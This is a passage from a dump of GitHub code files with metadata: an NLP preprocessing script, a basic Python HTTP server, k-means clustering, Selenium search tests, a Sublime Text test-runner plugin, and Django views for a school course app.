word_tags[sent_list[ind]]=='CD'): \n sent_list[ind] = '' #unic_dict[sent_list[ind]]\n continue\n if sent_list[ind] not in word2idx:\n lemmas = make_synonyms(sent_list[ind])\n for wrd in lemmas:\n if wrd in word2idx:\n sent_list[ind] = wrd.lower()\n break\n if sent_list[ind] not in word2idx:\n sent_list[ind] = u'⁇'\n\n x = [1]+[word2idx[word] for word in sent_list]+[2] \n if len(x) < maxlen:\n x += [0] * (maxlen - len(x)) # zero postpadding\n elif len(x) > maxlen:\n x = x[:maxlen-1] + [2]\n Sources.append(\" \".join(sent_list)) \n par.append(x)\n numeric.append(\" \".join(map(str,x)))\n return par, Sources, numeric\n\ndef convert_topairs():\n word_tags = dict()\n for word,pos in brown.tagged_words():\n word_tags[word]=pos\n\n char2idx, idx2char = load_vocab_char()\n word2idx, idx2word = load_vocab_word(word_tags)\n\n mydir = 'datasets/changeMV/csv148_pairs0703' # csv147_pairs\n maxlen = 150\n wmaxlen = 25\n subpars_lens = {3:0, 6:0, 10:0, 15:0, 20:0, 30:0, 40:0}\n pars_count = collections.OrderedDict(sorted(subpars_lens.items(), key=lambda t: t[0]))\n max_lenfile = 25000\n ffiles = [f for f in listdir(mydir) if isfile(join(mydir, f))]\n files = []\n for el in ffiles:\n #print(el)\n if el.split('.')[0].isdigit():\n files.append(el)\n onlyfiles = sorted(files, key=lambda x: int(x.split('.')[0]))\n symb_file = 'datasets/changeMV/csveq_0703/s148_0703'\n num_file = 'datasets/changeMV/csveq_0703/numb148_0703'\n if not os.path.exists(symb_file):\n os.makedirs(symb_file)\n if not os.path.exists(num_file):\n os.makedirs(num_file)\n\n\n for i,el in tqdm(enumerate(onlyfiles)):\n fl = os.path.join(mydir,el)\n print(fl)\n with open(fl, 'rb') as csvfile:\n reader = csv.reader(csvfile)\n for indp, paragraphs in tqdm(enumerate(reader)):\n #print(paragraphs)\n ls = [paragraphs[0].lower().split('&'), paragraphs[1].lower().split('&')]\n if len(ls[0])==0 or len(ls[1])==0 or ls[0]=='removed' or ls[1] == 'removed':\n continue\n mx = max(len(ls[0]), len(ls[1]))\n ids1, src1, numeric1 = convert_sents_toind_char(ls[0],maxlen,char2idx, word2idx,word_tags)\n ids2, src2, numeric2 = convert_sents_toind_char(ls[1],maxlen,char2idx, word2idx,word_tags)\n if len(ls[1]) == mx:\n for lj in range(mx - len(ls[0])):\n numeric1.append(\" \".join(map(str,[0]*(maxlen))))\n else:\n for lj in range(mx - len(ls[1])):\n numeric2.append(\" \".join(map(str,[0]*(maxlen))))\n\n _, _, wnumeric1 = convert_sents_toind_word(ls[0],wmaxlen,word2idx,word_tags)\n _, _, wnumeric2 = convert_sents_toind_word(ls[1],wmaxlen,word2idx,word_tags)\n if len(ls[1]) == mx:\n for lj in range(mx - len(ls[0])):\n wnumeric1.append(\" \".join(map(str,[0]*(wmaxlen))))\n else:\n for lj in range(mx - len(ls[1])):\n wnumeric2.append(\" \".join(map(str,[0]*(wmaxlen))))\n \n for length in pars_count.items():\n if mx<=length[0]:\n pars_count[length[0]]+=1\n fileid = pars_count[length[0]]//max_lenfile \n fl1 = os.path.join(symb_file,'%d_%d.csv' % (fileid,length[0]))\n fd1 = open(fl1,'a')\n writer1 = csv.writer(fd1)\n fl2 = os.path.join(num_file,'%d_%d.csv' % (fileid,length[0]))\n fd2 = open(fl2,'a')\n writer2 = csv.writer(fd2)\n #store symbolic paragraph\n writer1.writerow([paragraphs[0],paragraphs[1]]) \n #store numeric paragraph\n writer2.writerow([\"|\".join(numeric1), \"|\".join(numeric2),\"|\".join(wnumeric1), \"|\".join(wnumeric2)])\n fd1.close() \n fd2.close() \n break \n\n if i%30==0:\n print(pars_count)\n print (ls,\"|\".join(numeric1))\n print (ls,\"|\".join(numeric2))\n print (ls,\"|\".join(wnumeric1))\n print (ls,\"|\".join(wnumeric2))\n \n fd1.close()\n fd2.close()\n print(pars_count)\n\n\ndef main():\n # Get the data.\n convert_topairs()\n\nmain()\n\n\n\n", "repo_name": "parshakova/neural_opinion_generator", "sub_path": "CMV_dataset_make/csv_toindx.py", "file_name": "csv_toindx.py", "file_ext": "py", "file_size_in_byte": 10020, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 2, "dataset": "github-code", "pt": "7", "api": [{"api_name": "nltk.data.data.load", "line_number": 18, "usage_type": "call"}, {"api_name": "nltk.data.data", "line_number": 18, "usage_type": "attribute"}, {"api_name": "nltk.data", "line_number": 18, "usage_type": "name"}, {"api_name": "nltk.tokenize.RegexpTokenizer", "line_number": 24, "usage_type": "call"}, {"api_name": "nltk.corpus.wordnet.synsets", "line_number": 27, "usage_type": "call"}, {"api_name": "nltk.corpus.wordnet", "line_number": 27, "usage_type": "name"}, {"api_name": "itertools.chain.from_iterable", "line_number": 28, "usage_type": "call"}, {"api_name": "itertools.chain", "line_number": 28, "usage_type": "name"}, {"api_name": "pickle.load", "line_number": 48, "usage_type": "call"}, {"api_name": "pickle.dump", "line_number": 64, "usage_type": "call"}, {"api_name": "re.sub", "line_number": 91, "usage_type": "call"}, {"api_name": "re.sub", "line_number": 107, "usage_type": "call"}, {"api_name": "nltk.corpus.brown.tagged_words", "line_number": 162, "usage_type": "call"}, {"api_name": "nltk.corpus.brown", "line_number": 162, "usage_type": "name"}, {"api_name": "collections.OrderedDict", "line_number": 172, "usage_type": "call"}, {"api_name": "os.listdir", "line_number": 174, "usage_type": "call"}, {"api_name": "os.path.isfile", "line_number": 174, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 174, "usage_type": "call"}, {"api_name": "os.path.exists", "line_number": 183, "usage_type": "call"}, {"api_name": "os.path", "line_number": 183, "usage_type": "attribute"}, {"api_name": "os.makedirs", "line_number": 184, "usage_type": "call"}, {"api_name": "os.path.exists", "line_number": 185, "usage_type": "call"}, {"api_name": "os.path", "line_number": 185, "usage_type": "attribute"}, {"api_name": "os.makedirs", "line_number": 186, "usage_type": "call"}, {"api_name": "tqdm.tqdm", "line_number": 189, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 190, "usage_type": "call"}, {"api_name": "os.path", "line_number": 190, "usage_type": "attribute"}, {"api_name": "csv.reader", "line_number": 193, "usage_type": "call"}, {"api_name": "tqdm.tqdm", "line_number": 194, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 222, "usage_type": "call"}, {"api_name": "os.path", "line_number": 222, "usage_type": "attribute"}, {"api_name": "csv.writer", "line_number": 224, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 225, "usage_type": "call"}, {"api_name": "os.path", "line_number": 225, "usage_type": "attribute"}, {"api_name": "csv.writer", "line_number": 227, "usage_type": "call"}]} {"seq_id": "37297782561", "text": "from http.server import BaseHTTPRequestHandler\r\nfrom http.server import HTTPServer\r\nimport os\r\nimport logging\r\nimport configparser\r\n \r\n# HTTPRequestHandler class\r\nclass RequestHandler(BaseHTTPRequestHandler):\r\n def _set_response(self):\r\n self.send_response(200)\r\n self.send_header('Content-type', 'text/html')\r\n self.end_headers()\r\n\r\n def do_GET(self):\r\n logging.info(\"GET request,\\nPath: %s\\nHeaders:\\n%s\\n\", str(self.path), str(self.headers))\r\n self._set_response()\r\n\r\n message = \"\"\r\n message = message + '

dev.py

'\r\n message = message + '
'\r\n message = message + ' '\r\n message = message + ' '\r\n message = message + ''\r\n\r\n self.wfile.write(message.encode('utf-8'))\r\n\r\n def do_POST(self):\r\n content_length = int(self.headers['Content-Length']) # <--- Gets the size of data\r\n post_data = self.rfile.read(content_length) # <--- Gets the data itself\r\n logging.info(\"POST request,\\nPath: %s\\nHeaders:\\n%s\\n\\nBody:\\n%s\\n\",\r\n str(self.path), str(self.headers), post_data.decode('utf-8'))\r\n\r\n self._set_response()\r\n\r\n message = \"\"\r\n message = message + 'func: '\r\n\r\n self.wfile.write(message.encode('utf-8'))\r\n\r\ndef run(dev):\r\n\tcreate_logger()\r\n\tconfig_file = \"main.conf\"\r\n\tconfig = configparser.ConfigParser()\r\n\tconfig.read(config_file)\r\n\tprint('http_server run')\r\n\tpath = os.getcwd()\r\n\tprint(\" config_file:\" + config_file)\r\n\tprint(\" path:\" + path)\r\n\tprint(\" config\")\r\n\thost = config['http_server']['host']\r\n\tprint(\" host: \" + host)\r\n\tport = int(config['http_server']['port'])\r\n\tprint(\" port: \" + str(port))\r\n \r\n\tprint(' starting server...')\r\n\t# Server settings\r\n\t# Choose port 8080, for port 80, which is normally used for a http server, you need root access\r\n\tserver_address = (host, port)\r\n\thttpd = HTTPServer(server_address, RequestHandler)\r\n\tprint(' running server...')\r\n\thttpd.serve_forever()\r\n\r\ndef create_logger():\r\n\t# Create a custom logger\r\n\tlogger = logging.getLogger(__name__)\r\n\r\n\t# Create handlers\r\n\tc_handler = logging.StreamHandler()\r\n\tc_handler.setLevel(logging.DEBUG)\r\n\tf_handler = logging.FileHandler(__name__ + \".log\")\r\n\tf_handler.setLevel(logging.DEBUG)\r\n\r\n\t# Create formatters and add it to handlers\r\n\tc_format = logging.Formatter('%(name)s - %(levelname)s - %(message)s')\r\n\tf_format = logging.Formatter('%(asctime)s - %(name)s - %(levelname)s - %(message)s')\r\n\tc_handler.setFormatter(c_format)\r\n\tf_handler.setFormatter(f_format)\r\n\r\n\t# Add handlers to the logger\r\n\tlogger.addHandler(c_handler)\r\n\tlogger.addHandler(f_handler)", "repo_name": "Sami19944/letscraft-scipts", "sub_path": "scripts/http_server.py", "file_name": "http_server.py", "file_ext": "py", "file_size_in_byte": 2756, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "7", "api": [{"api_name": "http.server.BaseHTTPRequestHandler", "line_number": 8, "usage_type": "name"}, {"api_name": "logging.info", "line_number": 15, "usage_type": "call"}, {"api_name": "logging.info", "line_number": 30, "usage_type": "call"}, {"api_name": "configparser.ConfigParser", "line_number": 43, "usage_type": "call"}, {"api_name": "os.getcwd", "line_number": 46, "usage_type": "call"}, {"api_name": "http.server.HTTPServer", "line_number": 59, "usage_type": "call"}, {"api_name": "logging.getLogger", "line_number": 65, "usage_type": "call"}, {"api_name": "logging.StreamHandler", "line_number": 68, "usage_type": "call"}, {"api_name": "logging.DEBUG", "line_number": 69, "usage_type": "attribute"}, {"api_name": "logging.FileHandler", "line_number": 70, "usage_type": "call"}, {"api_name": "logging.DEBUG", "line_number": 71, "usage_type": "attribute"}, {"api_name": "logging.Formatter", "line_number": 74, "usage_type": "call"}, {"api_name": "logging.Formatter", "line_number": 75, "usage_type": "call"}]} {"seq_id": "10124454302", "text": "import random\nimport numpy as np\nfrom utils import L2_distance_matrix, find_cls_data_centers\nfrom plot import plot_2D\n\n\ndef k_means_div(data, num_cls, plot=False):\n data = data.copy()\n data_idxs_lists_to_centers = [[value] for value in random.sample(range(max(data.shape[0], num_cls)), num_cls)]\n center_data = data[[idx for data_idxs_of_center in data_idxs_lists_to_centers for idx in data_idxs_of_center]]\n\n while True:\n dists_matrix = L2_distance_matrix(data, center_data)\n\n error_cls = [0 for i, _ in enumerate(data_idxs_lists_to_centers)]\n\n for idx, row in enumerate(dists_matrix):\n min_row_idx = np.argmin(row)\n if idx not in data_idxs_lists_to_centers[min_row_idx]:\n error_cls[min_row_idx] += row[min_row_idx]\n data_idxs_lists_to_centers[min_row_idx].append(idx)\n\n classed_data = []\n for center_idxs in data_idxs_lists_to_centers:\n classed_data.append(data[center_idxs])\n\n new_center_data = find_cls_data_centers(classed_data)\n\n new_center_data = np.array(new_center_data)\n\n if (new_center_data == center_data).all():\n break\n\n data_idxs_lists_to_centers = [[] for _ in range(num_cls)]\n center_data = new_center_data\n\n\n if plot:\n data2plot_named = {f\"Center: {center[0]:.2f}, {center[1]:.2f}\": data\n for data, center in zip(classed_data, new_center_data)}\n data2plot_named[\"title\"] = \"K - Means\"\n plot_2D(**data2plot_named)\n\n return classed_data, new_center_data, sum(error_cls)\n\n\n\n", "repo_name": "Silvador386/ZSUR", "sub_path": "Code/k_means.py", "file_name": "k_means.py", "file_ext": "py", "file_size_in_byte": 1597, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "7", "api": [{"api_name": "random.sample", "line_number": 9, "usage_type": "call"}, {"api_name": "utils.L2_distance_matrix", "line_number": 13, "usage_type": "call"}, {"api_name": "numpy.argmin", "line_number": 18, "usage_type": "call"}, {"api_name": "utils.find_cls_data_centers", "line_number": 27, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 29, "usage_type": "call"}, {"api_name": "plot.plot_2D", "line_number": 42, "usage_type": "call"}]} {"seq_id": "7095503593", "text": "import pytest\r\nimport allure\r\nfrom pages.MainPage import MainPage\r\nfrom pages.SearchPage import SearchPage\r\n\r\n@pytest.mark.usefixtures('setup')\r\nclass TestSearch:\r\n\r\n @allure.title('4.2.1 Wyszukiwarka dla fraz istniejących')\r\n def test_search_existing_fraze(self):\r\n # pytest.skip()\r\n self.driver.get(self.env['URL'])\r\n self.mp = MainPage(self.driver)\r\n self.sp = SearchPage(self.driver)\r\n self.mp.waitForMainPage()\r\n self.mp.SearchExistingFraze(self.env['EXISTING_PHRASE'])\r\n self.mp.clickSearchButton()\r\n self.sp.waitForSearchResultPage()\r\n self.sp.AssertSearchPositive()\r\n\r\n @allure.title('4.2.2 Wyszukiwarka dla fraz nieistniejących')\r\n def test_search_not_existing_fraze(self):\r\n # pytest.skip()\r\n self.driver.get(self.env['URL'])\r\n self.mp = MainPage(self.driver)\r\n self.sp = SearchPage(self.driver)\r\n self.mp.waitForMainPage()\r\n self.mp.SearchNotExistingFraze(self.env['NOT_EXISTING_PHRASE'])\r\n self.mp.clickSearchButton()\r\n self.sp.waitForSearchResultPage()\r\n self.sp.AssertSearchNegative()\r\n\r\n @allure.title('4.2.3 Wyszukiwarka dla pojedynczego znaku')\r\n def test_search_single_character_fraze(self):\r\n # pytest.skip()\r\n self.driver.get(self.env['URL'])\r\n self.mp = MainPage(self.driver)\r\n self.sp = SearchPage(self.driver)\r\n self.mp.waitForMainPage()\r\n self.mp.SearchSingleCharacter(self.env['SINGLE_CHARACTER_PHRASE'])\r\n self.mp.clickSearchButton()\r\n self.sp.waitForSearchResultPage()\r\n self.sp.AssertSearchPositive()\r\n\r\n @allure.title('4.2.3 Wyszukiwarka dla znaku specjalnego')\r\n def test_search_special_character_fraze(self):\r\n # pytest.skip()\r\n self.driver.get(self.env['URL'])\r\n self.mp = MainPage(self.driver)\r\n self.sp = SearchPage(self.driver)\r\n self.mp.waitForMainPage()\r\n self.mp.SearchSpecialCharacter(self.env['SPECIAL_CHARACTER_PHRASE'])\r\n self.mp.clickSearchButton()\r\n self.sp.waitForSearchResultPage()\r\n self.sp.AssertSearchNegative()\r\n\r\n @allure.title('4.2.4 Wyszukiwarka dla zapytania SQL')\r\n def test_search_sql_request(self):\r\n # pytest.skip()\r\n self.driver.get(self.env['URL'])\r\n self.mp = MainPage(self.driver)\r\n self.sp = SearchPage(self.driver)\r\n self.mp.waitForMainPage()\r\n self.mp.SearchSQLrequest(self.env['SQL_REQUEST'])\r\n self.sp.waitForSearchResultPage()\r\n self.sp.AssertSearchNegative()\r\n# pytest --env=stage tests\\test_4_search.py\r\n# pytest --env=stage tests\\test_4_search.py::Test_Search::test_search_not_existing_fraze\r\n", "repo_name": "DimaStam/portfolio-test", "sub_path": "tests/test_4_search.py", "file_name": "test_4_search.py", "file_ext": "py", "file_size_in_byte": 2704, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "7", "api": [{"api_name": "pages.MainPage.MainPage", "line_number": 13, "usage_type": "call"}, {"api_name": "pages.SearchPage.SearchPage", "line_number": 14, "usage_type": "call"}, {"api_name": "allure.title", "line_number": 9, "usage_type": "call"}, {"api_name": "pages.MainPage.MainPage", "line_number": 25, "usage_type": "call"}, {"api_name": "pages.SearchPage.SearchPage", "line_number": 26, "usage_type": "call"}, {"api_name": "allure.title", "line_number": 21, "usage_type": "call"}, {"api_name": "pages.MainPage.MainPage", "line_number": 37, "usage_type": "call"}, {"api_name": "pages.SearchPage.SearchPage", "line_number": 38, "usage_type": "call"}, {"api_name": "allure.title", "line_number": 33, "usage_type": "call"}, {"api_name": "pages.MainPage.MainPage", "line_number": 49, "usage_type": "call"}, {"api_name": "pages.SearchPage.SearchPage", "line_number": 50, "usage_type": "call"}, {"api_name": "allure.title", "line_number": 45, "usage_type": "call"}, {"api_name": "pages.MainPage.MainPage", "line_number": 61, "usage_type": "call"}, {"api_name": "pages.SearchPage.SearchPage", "line_number": 62, "usage_type": "call"}, {"api_name": "allure.title", "line_number": 57, "usage_type": "call"}, {"api_name": "pytest.mark.usefixtures", "line_number": 6, "usage_type": "call"}, {"api_name": "pytest.mark", "line_number": 6, "usage_type": "attribute"}]} {"seq_id": "1528642742", "text": "# -*- coding: utf-8 -*-\nimport http.client\nimport sublime\nimport sublime_plugin\nimport threading\n\n\nDEFAULT_TEST_PATH = '/ppadmin/testrunner.py?m=text&scope='\nDEAFULT_HTTP_METHOD = 'http://'\n\n\nclass UnittestCall(threading.Thread):\n def __init__(self, dev_env, test_run_path, view):\n \"\"\" The main threading part, runs class RunAllTestsCommand and RunSingleTestCommand\n in a thread not to freeze the editor\n @param dev_env: the base dev environment path\n @param test_run_path: the specific file to test, if any.\n \"\"\"\n self.dev_env = dev_env\n self.test_path = test_run_path\n self.view = view\n\n self.result = None\n threading.Thread.__init__(self)\n\n def run(self):\n \"\"\"\n Does the actual calling to your dev environment to run the tests.\n On error, it will alert you the error message\n \"\"\"\n try:\n conn = http.client.HTTPConnection(self.dev_env)\n conn.request('GET', self.test_path)\n\n response = conn.getresponse()\n self.result = response.read()\n conn.close()\n resultStr = str(self.result, encoding='utf8' )\n self.status_msg = resultStr.split('\\n')[-2:-1][0]\n return\n\n except Exception as e:\n print(\"Failed because of \" + e)\n err = '%s: HTTP error contacting the server(are you on a bad vpn?)' % (__name__)\n\n sublime.error_message(err)\n self.result = False\n\n\nclass RunAllTestsCommand(sublime_plugin.TextCommand):\n\n def run(self, edit, save_event = False):\n\n self.load_settings()\n if save_event and not self.run_on_save:\n return \n self.tests_to_run = self.get_test_file_path()\n self.threads = []\n self.call_tests()\n self.handle_threads()\n\n def load_settings(self):\n \"\"\" Loads all the settings from the .sublime-project file of the user.\n \"\"\"\n settings = (\n self.view.window().active_view()\n .settings().get(\"projectplace_test_runner\")\n )\n\n self.root_dev_env = 'pradeep'\n\n self.dev_env_domain = settings.get(\n 'domain', self.view.window().folders()[0]\n )\n self.run_on_save = settings.get(\n 'run_on_save', False\n )\n \n self.dev_env = self.root_dev_env + self.dev_env_domain\n self.http_method = DEAFULT_HTTP_METHOD\n self.test_root = self.http_method + self.dev_env + DEFAULT_TEST_PATH\n\n def get_test_file_path(self):\n \"\"\" Returns nothing since we want to run all test file that we have.\n \"\"\"\n return ''\n\n def call_tests(self):\n \"\"\" Calls the test cgi on the specific development environment and then prints the result.\n \"\"\"\n test_run_path = self.test_root + self.tests_to_run\n thread = UnittestCall(self.dev_env, test_run_path, self.view)\n self.threads.append(thread)\n thread.start()\n\n def handle_threads(self, loops=0, dots='.'):\n \"\"\"\n Loops and checks the thread(s) if any of them are currently working(then wait), if the\n call to the tests have failed(pass it) or if the thread is done, prints the result to the\n Sublime console.\n \"\"\"\n next_threads = []\n for thread in self.threads:\n if thread.is_alive():\n next_threads.append(thread)\n continue\n if thread.result is False:\n continue\n\n resultStr = str(thread.result, encoding='utf8')\n print (resultStr)\n self.view.set_status('pp-unitest-result', 'Projectplace - ' + thread.status_msg)\n sublime.set_timeout(lambda: self.view.erase_status('pp-unitest-result'), 5000)\n \n threads = next_threads\n\n if len(threads):\n if loops < 8:\n dots += '.'\n loops += 1\n else:\n dots = '.'\n loops = 0\n self.view.set_status('pp-unitest-call', 'Projectplace - In Tests We Trust%s' % (dots))\n sublime.set_timeout(lambda: self.handle_threads(loops, dots), 200)\n return\n\n self.view.erase_status('pp-unitest-call')\n\n\nclass RunSingleTestCommand(RunAllTestsCommand):\n\n def get_test_file_path(self):\n \"\"\" Returns the path to the test file that we want to test.\n @param self: The single test command instance\n \"\"\"\n import os\n DEFAULT_TEST_ROOT = 'tests'\n current_file = self.view.file_name().split(self.root_dev_env)[1]\n\n if current_file.find(DEFAULT_TEST_ROOT) is -1:\n return DEFAULT_TEST_ROOT + current_file\n else:\n return current_file.lstrip(os.sep)\n\nclass RunSingleTestCommandOnSave(sublime_plugin.EventListener):\n def on_post_save(self, view):\n single_run = RunSingleTestCommand(view)\n single_run.run(view, True)\n \n", "repo_name": "pradeepvairamani/Sublime-settings", "sub_path": "Packages/projectplacesublimetestrunner/python_test.py", "file_name": "python_test.py", "file_ext": "py", "file_size_in_byte": 4984, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "7", "api": [{"api_name": "threading.Thread", "line_number": 12, "usage_type": "attribute"}, {"api_name": "threading.Thread.__init__", "line_number": 24, "usage_type": "call"}, {"api_name": "threading.Thread", "line_number": 24, "usage_type": "attribute"}, {"api_name": "http.client.client.HTTPConnection", "line_number": 32, "usage_type": "call"}, {"api_name": "http.client.client", "line_number": 32, "usage_type": "attribute"}, {"api_name": "http.client", "line_number": 32, "usage_type": "name"}, {"api_name": "sublime.error_message", "line_number": 46, "usage_type": "call"}, {"api_name": "sublime_plugin.TextCommand", "line_number": 50, "usage_type": "attribute"}, {"api_name": "sublime.set_timeout", "line_number": 113, "usage_type": "call"}, {"api_name": "sublime.set_timeout", "line_number": 125, "usage_type": "call"}, {"api_name": "os.sep", "line_number": 144, "usage_type": "attribute"}, {"api_name": "sublime_plugin.EventListener", "line_number": 146, "usage_type": "attribute"}]} {"seq_id": "8364390267", "text": "from django.shortcuts import render\r\nfrom app2.models import Curso, Alumno, Profesor, Avatar\r\nfrom django.template import loader\r\nfrom django.http import HttpResponse\r\nfrom app2.forms import Curso_form, Alumno_form, Profesor_form, UserEditForm\r\nfrom django.contrib.auth.forms import AuthenticationForm, UserCreationForm\r\nfrom django.contrib.auth import authenticate, login\r\nfrom django.contrib.auth.decorators import login_required\r\n# Create your views here.\r\n\r\ndef inicio(request):\r\n return render( request , \"index.html\")\r\n\r\ndef ver_cursos(request):\r\n cursos = Curso.objects.all()\r\n dicc = {\"cursos\":cursos}\r\n plantillas = loader.get_template(\"plantillas.html\")\r\n documento = plantillas.render(dicc)\r\n return HttpResponse(documento)\r\n\r\n\r\n\"\"\"\r\ndef alta_curso(request, nombre , comision):\r\n curso = Curso(nombre=nombre , comision=comision)\r\n curso.save()\r\n texto = f\"Se guardo en el BD el Curso: {curso.nombre} Comision:{curso.comision}\"\r\n return HttpResponse(texto)\r\n\"\"\"\r\n\r\n\r\n@login_required\r\ndef profesores(request):\r\n return render( request , \"profesores.html\")\r\n\r\ndef info_profesores(request):\r\n return render( request , \"info_profesores.html\")\r\n\r\n\r\ndef alta_profesor(request):\r\n if request.method == \"POST\":\r\n alta_profesor = Profesor_form( request.POST )\r\n if alta_profesor.is_valid():\r\n datos = alta_profesor.cleaned_data\r\n prof = Profesor( nombre=datos['nombre'] , apellido=datos['apellido'], dni=datos['dni'], email=datos['email'])\r\n prof.save()\r\n \r\n return render( request , \"alta_profesores.html\")\r\n return render( request , \"alta_profesores.html\")\r\n\r\n@login_required\r\ndef alumnos(request):\r\n return render( request , \"alumnos.html\")\r\n\r\n\r\ndef alta_alumno(request):\r\n if request.method == \"POST\":\r\n alta_alumno = Alumno_form( request.POST )\r\n if alta_alumno.is_valid():\r\n datos = alta_alumno.cleaned_data\r\n prof = Alumno( nombre=datos['nombre'] , apellido=datos['apellido'], dni=datos['dni'], email=datos['email'])\r\n prof.save()\r\n \r\n return render( request , \"alta_alumno.html\")\r\n return render( request , \"alta_alumno.html\")\r\n\r\ndef info_alumno(request):\r\n return render( request , \"info_alumno.html\")\r\n\r\ndef curso_formulario(request):\r\n\r\n if request.method == \"POST\":\r\n mi_formulario = Curso_form( request.POST )\r\n if mi_formulario.is_valid():\r\n datos = mi_formulario.cleaned_data\r\n curso = Curso( nombre=datos['nombre'] , comision=datos['comision'])\r\n curso.save()\r\n return render( request , \"formulario.html\")\r\n \r\n \r\n return render( request , \"formulario.html\")\r\n\r\n\r\n\r\n\r\ndef buscar_curso(request):\r\n return render( request , \"buscar_curso.html\")\r\n\r\n\r\ndef buscar_profe(request):\r\n return render( request , \"buscar_profe.html\")\r\n\r\n\r\ndef buscar_alumno(request):\r\n return render( request , \"buscar_alumno.html\")\r\n\r\n\r\ndef resultado_curso(request):\r\n\r\n if request.GET['nombre']:\r\n nombre = request.GET['nombre']\r\n cursos = Curso.objects.filter(nombre__icontains = nombre)\r\n return render( request, \"resultado_busqueda.html\", {\"cursos\": cursos})\r\n else:\r\n return HttpResponse(\"Campo vacio\")\r\n \r\ndef resultado_alumno(request):\r\n if request.GET['dni']:\r\n dni = request.GET['dni']\r\n alumno = Alumno.objects.filter(dni__icontains = dni)\r\n return render( request, \"resultado_alumno.html\", {\"alumnos\": alumno})\r\n else:\r\n return HttpResponse(\"Campo vacio\") \r\n\r\n \r\ndef resultado_profesor(request):\r\n\r\n if request.GET['dni']:\r\n dni = request.GET['dni']\r\n profesor = Profesor.objects.filter(dni__icontains = dni)\r\n return render( request, \"resultado_profesores.html\", {\"profesores\": profesor})\r\n else:\r\n return HttpResponse(\"Campo vacio\")\r\n \r\n\r\n \r\ndef cursos(request):\r\n return render( request , \"cursos.html\")\r\n\r\n\r\ndef mostrar_cursos(request):\r\n cursos = Curso.objects.all()\r\n return render (request, \"mostrar_cursos.html\", {\"cursos\":cursos})\r\n\r\ndef borrar_curso(request, id):\r\n curso = Curso.objects.get(id=id)\r\n curso.delete()\r\n\r\n cursos = Curso.objects.all()\r\n return render (request, \"mostrar_cursos.html\", {\"cursos\":cursos})\r\n\r\ndef editar_curso(request, id):\r\n curso = Curso.objects.get(id=id)\r\n\r\n if request.method == \"POST\":\r\n form = Curso_form(request.POST)\r\n if form.is_valid():\r\n datos = form.cleaned_data\r\n curso.nombre = datos['nombre']\r\n curso.comision = datos['comision']\r\n curso.save()\r\n\r\n cursos = Curso.objects.all()\r\n return render(request, \"mostrar_cursos.html\", {\"cursos\":cursos})\r\n else:\r\n#acá sería para que me muestre los datos que quiero editar por eso el initial\r\n# cuando va a la página de editar hay un form que cuando envía la data la hace por post y va al if de arriba\r\n form = Curso_form(initial = {\"nombre\":curso.nombre, \"comision\":curso.comision})\r\n\r\n return render (request, \"editar_curso.html\", {\"form\":form, \"curso\":curso}) \r\n\r\n@login_required\r\ndef mostrar_alumnos(request):\r\n alumnos = Alumno.objects.all() \r\n return render( request, \"info_alumno.html\", {\"alumnos\":alumnos})\r\n\r\n@login_required\r\ndef mostrar_profesores(request):\r\n profesores = Profesor.objects.all() \r\n return render( request, \"info_profesores.html\", {\"profesores\":profesores})\r\n\r\ndef login_request(request):\r\n if request.method ==\"POST\":\r\n form = AuthenticationForm (request, data = request.POST)\r\n if form.is_valid():\r\n usuario = form.cleaned_data.get(\"username\")\r\n clave = form.cleaned_data.get(\"password\")\r\n\r\n user = authenticate (username = usuario, password = clave)\r\n\r\n if user.is_superuser:\r\n login (request, user)\r\n avatar = Avatar.objects.filter(user=request.user.id)\r\n return render (request, \"inicio.html\", {\"url\":avatar[0].image.url})\r\n else:\r\n login (request, user)\r\n return render (request, \"inicio.html\")\r\n\r\n else:\r\n return HttpResponse (f\"Form incorrecto\") \r\n\r\n\r\n form = AuthenticationForm()\r\n return render(request, \"login.html\", {\"form\":form})\r\n\r\ndef registro(request):\r\n if request.method ==\"POST\":\r\n form = UserCreationForm (request.POST)\r\n if form.is_valid():\r\n form.save()\r\n# return render(request , \"login.html\")\r\n else:\r\n form = UserCreationForm()\r\n return render(request , \"registro.html\" , {\"form\":form})\r\n\r\n \r\n \r\n\r\ndef edituser (request):\r\n usuario = request.user\r\n\r\n if request.method == \"POST\":\r\n form = UserEditForm(request.POST)\r\n if form.is_valid():\r\n info = form.cleaned_data\r\n usuario.email = info['email']\r\n password = info['password1']\r\n usuario.set_password(password)\r\n usuario.save()\r\n return render(request, \"inicio.html\")\r\n \r\n else:\r\n form = UserEditForm(initial={'email':usuario.email})\r\n\r\n return render(request, \"edituser.html\", {\"form\":form, \"usuario\":usuario})\r\n\r\ndef borrar_alumno(request, id):\r\n alumno = Alumno.objects.get(id=id) \r\n if request.method == \"POST\":\r\n alumno.delete()\r\n \r\n alumnos = Alumno.objects.all()\r\n return render(request, \"info_alumno.html\", {\"alumnos\":alumnos})\r\n \r\n return render(request, \"borrar_alumno.html\", {\"alumno\":alumno})\r\n\r\ndef borrar_profesor(request, id):\r\n profesor = Profesor.objects.get(id=id) \r\n if request.method == \"POST\":\r\n profesor.delete()\r\n \r\n profesores = Profesor.objects.all() \r\n return render( request, \"info_profesores.html\", {\"profesores\":profesores})\r\n \r\n return render(request, \"borrar_profesor.html\", {\"profesor\":profesor})\r\n\r\ndef editar_alumno(request, id):\r\n alumno = Alumno.objects.get(id=id)\r\n\r\n if request.method == \"POST\":\r\n form = Alumno_form(request.POST)\r\n if form.is_valid():\r\n datos = form.cleaned_data\r\n alumno.nombre = datos['nombre']\r\n alumno.apellido = datos['apellido']\r\n alumno.dni = datos['dni']\r\n alumno.email = datos['email']\r\n alumno.save()\r\n\r\n alumnos = Alumno.objects.all()\r\n return render(request, \"info_alumno.html\", {\"alumnos\":alumnos})\r\n else:\r\n\r\n form = Alumno_form(initial = {\"nombre\":alumno.nombre, \"apellido\":alumno.apellido, \"dni\":alumno.dni, \"email\":alumno.email})\r\n\r\n return render (request, \"editar_alumno.html\", {\"form\":form, \"alumno\":alumno}) \r\n\r\ndef editar_profesor(request, id):\r\n profesor = 